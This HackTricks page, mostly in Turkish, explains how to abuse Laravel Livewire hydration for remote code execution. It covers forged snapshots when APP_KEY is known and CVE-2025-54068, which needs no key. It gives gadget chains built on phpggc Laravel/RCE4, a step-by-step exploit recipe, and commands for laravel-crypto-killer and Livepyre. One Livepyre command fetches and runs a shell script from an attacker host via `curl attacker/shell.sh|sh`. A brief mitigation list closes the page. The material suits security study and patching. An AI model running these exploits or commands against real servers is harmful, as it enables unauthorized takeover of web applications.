Laravel Livewire Hydration & Synthesizer Abuse
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Livewire durum makinesinin özeti
Livewire 3 bileşenleri durumlarını data, memo ve bir checksum içeren snapshots aracılığıyla değiş tokuş eder. /livewire/update’e yapılan her POST, JSON snapshot’ını sunucu tarafında yeniden canlandırır ve kuyruğa alınmış calls/updates’leri yürütür.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
APP_KEY’e sahip herhangi biri ($hashKey’i türetmek için kullanılır) HMAC’i yeniden hesaplayarak dolayısıyla istediği snapshot’ları sahteleyebilir.
Karmaşık özellikler Livewire\Drawer\BaseUtils::isSyntheticTuple() tarafından tespit edilen sentetik tuple’lar olarak kodlanır; her tuple [value, {"s":"<key>", ...meta}] şeklindedir. Hydration çekirdeği her tuple’ı HandleComponents::$propertySynthesizers içinde seçilen synth’e devreder ve çocuklar üzerinde özyinelemeli olarak işlemeyi sürdürür:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Bu özyinelemeli tasarım, attacker tuple metadatasını ya da özyineleme sırasında işlenen herhangi bir iç içe tuple’ı kontrol ettiğinde Livewire’ı genel amaçlı bir nesne oluşturma motoru haline getirir.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker tarafından kontrol edilen davranış |
|---|---|
CollectionSynth (clctn) | Her çocuğu yeniden hidrasyon ettikten sonra new $meta['class']($value) örnekler. Dizi argümanı alan bir yapıcıya sahip herhangi bir sınıf oluşturulabilir ve her öğe kendisi de bir sentetik tuple olabilir. |
FormObjectSynth (form) | Önce new $meta['class']($component, $path) çağırır, sonra attacker tarafından kontrol edilen çocuklardan $hydrateChild aracılığıyla her public özelliği atar. İki gevşek türlü parametre (veya varsayılan argümanlar) kabul eden yapıcılar, rastgele public özelliklere erişmek için yeterlidir. |
ModelSynth (mdl) | Meta içinde key yoksa return new $class; çalıştırır; bu da attacker kontrolündeki herhangi bir sınıfın sıfır argümanla örneklenmesine izin verir. |
Synth’ler her iç içe elemana $hydrateChild çağırdığı için tuple’ları özyinelemeli olarak üst üste koyarak rastgele gadget grafiklerini oluşturmak mümkündür.
Forging snapshots when APP_KEY is known
- Geçerli bir
/livewire/updateisteğini yakalayın vecomponents[0].snapshot’ı decode edin. - Gadget sınıflarını işaret eden iç içe tuple’lar enjekte edin ve
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)’i yeniden hesaplayın. - Snapshot’ı yeniden encode edin,
_token/memo’ya dokunmayın ve isteği tekrar oynatın.
Minimal bir yürütme kanıtı Guzzle’ın FnStream ve Flysystem’ın ShardedPrefixPublicUrlGenerator sınıflarını kullanır. Bir tuple, kurucu verisi olarak { "__toString": "phpinfo" } ile FnStream örnekler; bir sonraki tuple ise $prefixes olarak [FnStreamInstance] ile ShardedPrefixPublicUrlGenerator örnekler. Flysystem her prefix’i stringe çevirdiğinde, PHP attacker tarafından sağlanan __toString callable’ını çağırır ve argümansız herhangi bir fonksiyonu yürütür.
From function calls to full RCE
Livewire’ın örnekleme primitiflerinden yararlanarak, Synacktiv phpggc’nin Laravel/RCE4 zincirini uyarladı; böylece hydration, public Queueable durumu deserializasyonu tetikleyen bir nesneyi boot eder:
- Queueable trait –
Illuminate\Bus\Queueablekullanan herhangi bir nesne public$chained’i açığa çıkarır vedispatchNextJobInChain()içindeunserialize(array_shift($this->chained))çalıştırır. - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue), public$chaineddoldurulmuş şekildeCollectionSynth/FormObjectSynthile örneklenir. - phpggc Laravel/RCE4Adapted –
$chained[0]içinde saklanan serialized blobPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signedyapısını kurar.Signed::__invoke()nihayetindecall_user_func_array($closure, $args)çağrısını yapar vesystem($cmd)’i mümkün kılar. - Stealth termination –
[new Laravel\Prompts\Terminal(), 'exit']gibi ikinci birFnStreamcallable teslim edilerek, istek gürültülü bir istisna yerineexit()ile sonlandırılır ve HTTP yanıtı temiz kalır.
Automating snapshot forgery
synacktiv/laravel-crypto-killer artık her şeyi birleştiren bir livewire modu ile birlikte gelir:
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Araç, yakalanan snapshot’u ayrıştırır, gadget tuples’ları enjekte eder, checksum’u yeniden hesaplar ve gönderilmeye hazır bir /livewire/update payload’u yazdırır.
CVE-2025-54068 – RCE APP_KEY olmadan
updates, snapshot checksum doğrulandıktan sonra component state ile birleştirilir. Snapshot içindeki bir property (veya sonradan öyle hale gelirse) synthetic tuple ise, Livewire saldırgan tarafından kontrol edilen update değerini hydrate ederken onun meta bilgisini yeniden kullanır:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Find a Livewire component with an untyped public property (e.g.,
public $count;). - Bu özelliği
[]olarak ayarlayan bir update gönderin. Bir sonraki snapshot şimdi bunu[[], {"s": "arr"}]olarak saklar. - Özelliğin derin iç içe geçmiş bir dizi içerdiği başka bir
updatespayload’u oluşturun; bu dizide[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]gibi tuple’lar gömülü olsun. - Recursion sırasında
hydrate()her iç çocuk öğeyi bağımsız olarak değerlendirir, bu yüzden saldırgan tarafından seçilen synth anahtarları/sınıfları dış tuple ve checksum hiç değişmemiş olsa bile geçerli sayılır. - Aynı
CollectionSynth/FormObjectSynthprimitiflerini yeniden kullanarak$chained[0]’i phpggc payload’u içerecek şekilde bir Queueable gadget örneklendirin. Livewire sahte updates’leri işler,dispatchNextJobInChain()’i çağırır veAPP_KEY’i bilmedensystem(<cmd>)’e ulaşır.
Key reasons this works:
updatesare not covered by the snapshot checksum.getMetaForPath(), özellik için önceden mevcut olan synth metadata’sına güvenir; saldırgan daha önce zayıf tipleme yoluyla onu bir tuple’a zorlamış olsa bile.- Recursion ile zayıf tipleme, her iç içe geçmiş dizinin yeni bir tuple olarak yorumlanmasını sağlar; böylece rastgele synth anahtarları ve rastgele sınıflar nihayetinde hydrate işlemine ulaşır.
Livepyre – end-to-end exploitation
Livepyre hem APP_KEY-less CVE’yi hem de signed-snapshot yolunu otomatikleştirir:
- Dağıtılmış Livewire sürümünün fingerprint’ini
<script src="/livewire/livewire.js?id=HASH">öğesini parse ederek ve hash’i zafiyetli sürümlere eşleyerek çıkarır. - Zararsız işlemleri yeniden oynatarak baz snapshot’ları toplar ve
components[].snapshot’ı çıkarır. - phpggc zincirini gömülü olarak içeren ya
updates-sadece bir payload (CVE-2025-54068) ya da forje edilmiş bir snapshot (bilinen APP_KEY) üretir.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check zarar verici olmayan bir probe çalıştırır, -F version gating’i atlar, -H ve -P özel header’lar veya proxy’ler ekler ve --function/--param gadget chain tarafından çağrılan php function’ı özelleştirir.
Savunma hususları
- Tedarikçi bültenine göre düzeltilmiş Livewire builds (>= 3.6.4) sürümlerine yükseltin ve CVE-2025-54068 için tedarikçi yamasını dağıtın.
- Livewire components içindeki weakly typed public properties kullanmaktan kaçının; explicit scalar types, property değerlerinin array/tuple’lara zorlanmasını engeller.
- Gerçekten ihtiyaç duyduğunuz synthesizers’ları kaydedin ve kullanıcı tarafından kontrol edilen metadata (
$meta['class']) öğesini güvenilmez kabul edin. - Bir property’sinin JSON tipini değiştiren güncellemeleri (ör. scalar -> array) açıkça izin verilmedikçe reddedin ve stale tuples’ları yeniden kullanmak yerine synth metadata’yı yeniden türetin.
- Herhangi bir ifşadan sonra
APP_KEY’i derhal değiştirin çünkü kod tabanı ne kadar yamalansa da offline snapshot forging’e izin verir.
Referanslar
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


